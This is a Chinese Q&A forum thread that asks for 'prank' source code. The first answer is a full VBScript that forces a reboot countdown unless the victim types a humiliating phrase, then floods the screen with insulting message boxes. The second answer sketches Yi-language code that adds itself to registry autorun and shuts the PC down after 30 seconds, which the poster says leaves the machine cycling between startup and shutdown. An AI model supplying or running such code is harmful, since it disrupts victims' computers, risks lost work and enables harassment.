Question

求易语言最新整蛊源码

如题咯

Answer 1

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""请在弹出的对话框中输入‘陈于博大哥’并且点确定，否则我帮你关机,目前倒计时60秒，有种就别说"" ",0 ,true
dim a
do while(a <> "陈于博大哥")
a = inputbox ("说陈于博大哥,就不关机，快撒，说 ""陈于博大哥""　","于博 智慧"," 请输入“陈于博大哥”并且点确定，终止关机倒计时",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "小弟真乖"
msgbox chr(13) + chr(13) + chr(13) + "大哥给你买糖吃"
msgbox chr(13) + chr(13) + chr(13) + "啥？不想吃"
msgbox chr(13) + chr(13) + chr(13) + "那你吃屎去吧"
msgbox chr(13) + chr(13) + chr(13) + "跟人刘颜学学去，吃屎吃个好皮肤"
msgbox chr(13) + chr(13) + chr(13) + "啥？闲大哥烦人？"
msgbox chr(13) + chr(13) + chr(13) + "啥？大哥本来不想说你 既然你说大哥烦人大哥就得说说你了"
msgbox chr(13) + chr(13) + chr(13) + "小弟啊，你说你真不乖，非得让我这么整你你才听话"
msgbox chr(13) + chr(13) + chr(13) + "直接乖乖听话都好了嘛"
msgbox chr(13) + chr(13) + chr(13) + "以后可千万不敢随便打开坏人的东西了啊 ，乖"
msgbox chr(13) + chr(13) + chr(13) + "啥？谢我？ 不用谢不用谢"
msgbox chr(13) + chr(13) + chr(13) + "这是大哥应该做的事"
msgbox chr(13) + chr(13) + chr(13) + "大哥不是得帮帮小弟嘛"
msgbox chr(13) + chr(13) + chr(13) + "好了，大哥说的多了累了，不说了"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "休息会再点，还有可多呢"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "累了没？"
msgbox chr(13) + chr(13) + chr(13) + "累了就说嘛"
msgbox chr(13) + chr(13) + chr(13) + "你不说我怎么知道你累呢？"
msgbox chr(13) + chr(13) + chr(13) + "累了就要说出来"
msgbox chr(13) + chr(13) + chr(13) + "不要憋在心里面"
msgbox chr(13) + chr(13) + chr(13) + "时间长了容易得病的"
msgbox chr(13) + chr(13) + chr(13) + "看看，关键时刻还是大哥对你好"
msgbox chr(13) + chr(13) + chr(13) + "一定要记得跟大哥在一起的美好时光"
msgbox chr(13) + chr(13) + chr(13) + "拜拜 大哥这次真走了啊"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "小弟啊"
msgbox chr(13) + chr(13) + chr(13) + "大哥有点累"
msgbox chr(13) + chr(13) + chr(13) + "大哥来你家休息会"
msgbox chr(13) + chr(13) + chr(13) + "就先不走了"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + "88"
msgbox chr(13) + chr(13) + chr(13) + ""
里面的东西 自己可以修改

Answer 2

设置自动运行（“文件名”，“文件全路径”，#接口常量。到注册表） 延时（30000） 关闭系统（#关机） 运用这些代码整人足够了，只要没有还原精灵，结果接是开机关机，哈哈，欢迎追问